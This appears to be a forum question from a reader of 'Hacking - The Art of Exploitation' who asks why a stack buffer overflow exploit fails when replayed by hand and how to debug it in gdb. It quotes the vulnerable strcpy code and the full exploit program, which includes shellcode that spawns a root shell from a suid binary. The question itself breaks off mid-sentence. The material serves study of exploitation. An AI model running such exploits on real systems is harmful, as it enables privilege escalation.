I'm reading the book "Hacking - The Art of Exploitation".
There is an example on a stack buffer overflow.
This is a part of the source of the attacked program, "notesearch":
char searchstring[100];
// ...
if(argc > 1)
strcpy(searchstring, argv[1]); // <-- no length check
And here is the source of the attacking program, "exploit_notesearch":
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
int main(int argc, char *argv[]) {
unsigned int i, *ptr, ret, offset=270;
char *command, *buffer;
command = (char *) malloc(200);
bzero(command, 200); // zero out the new memory
strcpy(command, "./notesearch \'"); // start command buffer
buffer = command + strlen(command); // set buffer at the end
if(argc > 1) // set offset
offset = atoi(argv[1]);
ret = (unsigned int) &i - offset; // set return address
for(i=0; i < 160; i+=4) // fill buffer with return address
*((unsigned int *)(buffer+i)) = ret;
memset(buffer, 0x90, 60); // build NOP sled
memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
strcat(command, "\'");
// <-- dumping full command string here
system(command); // run exploit
free(command);
}
When running exploit_notesearch, everything works fine, I'll get a root shell as the notesearch program has suid rights.
The command string contains the name of the program to call, a NOP sled, the shellcode and the return adress to the shellcode.
I want to debug the exploited program with gdb to see how the exploit exactly works.
To do this, I dumped the command string (right before the call to system()) into a file (let's call it dump.txt).
Then from a shell I tried to get the same result, I called the exploited program directly with the dumped command string as an argument.
prompt> $(cat dump.txt)
The notesearch program started, but instead of a root shell I got a segmentation fault.
I've also varied the return adress in a very wide range via a script.
My question, what is the difference between:
Maybe you also know another way to debug the exploited program via gdb.